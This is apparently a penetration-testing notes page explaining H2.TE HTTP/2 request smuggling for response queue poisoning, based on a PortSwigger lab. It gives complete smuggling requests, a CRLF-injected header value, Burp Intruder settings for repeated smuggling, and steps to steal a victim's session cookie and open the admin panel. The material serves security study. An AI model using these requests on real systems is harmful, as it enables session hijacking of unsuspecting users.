> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/web-pentesting/_vulnerabilities/http-request-smuggling/h2.te-response-queue-poisoning.md).

# H2.TE (response queue poisoning)

**REQUIREMENTS:**

* Front-end supports HTTP/2 and downgrades to HTTP/1.1 when forwarding to the back-end.
* Front-end does **not** strip or validate CRLF characters (`\r\n`) inside HTTP/2 header values.
* OR Front-end accepts a `Transfer-Encoding: chunked` header without normalization (simpler, but less common).

**REFERENCE:**

* <https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling>

**DESCRIPTION:**

An H2.TE desync lets you smuggle a second request past the front-end. The back-end processes **two** requests, but the front-end only saw **one** - so the response to the smuggled request gets queued on the shared connection and delivered to the **next user** who lands on it.

In practice: you repeatedly send the smuggle. When a victim logs in, their response (with `Set-Cookie`) gets served to you instead of them. You grab the cookie and log in as them.

**START identifying H2.TE - response queue poisoning**

> **OPTION A - Plain header (used):**&#x20;
>
> A. Use HTTP/2 for the initial request & disable auto-update of the Content-Length.&#x20;
>
> B. add `Transfer-Encoding: chunked` as a normal header. Works if the front-end forwards it without normalization.

> **OPTION B - CRLF injection via Burp Inspector :** Smuggles the header inside another value using `\r\n`. In Burp Repeater:&#x20;
>
> A. Use HTTP/2 for the initial request & disable auto-update of the Content-Length.&#x20;
>
> B. **Inspector** -> *Request headers* -> *Add*.&#x20;
>
> C. `Name: foo`, `Value: bar\r\nTransfer-Encoding: chunked` (use shift + enter for '\r\n').&#x20;
>
> D. Send. Request appears "kettled" - headers no longer inspectable. Expected.&#x20;
>
> E. Send any normal follow-up. A **404** confirms the desync. Example: `foo: bar\r\nTransfer-Encoding: chunked`

```bash
# Detect H2.TE vulnerability by sending a special request
POST / HTTP/2
Host: <TARGET>
content-type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: x
 
|--follow-up returns 404 on smuggled path	----->	H2.TE (CL.TE equivalent)
```

**1. Proof of concept**&#x20;

Send the following request, then issue any normal follow-up request. If the response returns a 404, the smuggling was successful.

> Full request:

```http
POST / HTTP/2
Host: <TARGET>
content-type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /pathThatDoesNotExist40412345 HTTP/1.1\r\n
X-Ignore: x
```

**2 payload to intruder, wait for response**&#x20;

Repeatedly send the smuggle request to desynchronize the response queue. When a legitimate user authenticates, their response (including the `Set-Cookie` header) ends up queued for the attackers connection.

Send the request below to Burp Intruder with these settings:

* Attack type: **Sniper**
* Payload type: **Null payloads** + continue indefinitely
* Delay: **800ms**
* Threads: **1**
* disable: "Update Content-Length" (in Payload processing rules)
* Run the attack.

> Full request:

```http
POST /pathThatDoesNotExist40412345 HTTP/2
Host: <TARGET>
content-type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /pathThatDoesNotExist40412345 HTTP/1.1
Host: <TARGET>
X-Ignore: x\r\n
\r\n
```

**3 capture user response payload**&#x20;

After several iterations, one of the Intruder responses will contain a victims session cookie (look for responses that differ in size or contain an unexpected `Set-Cookie` header). Use that cookie to access the admin panel.
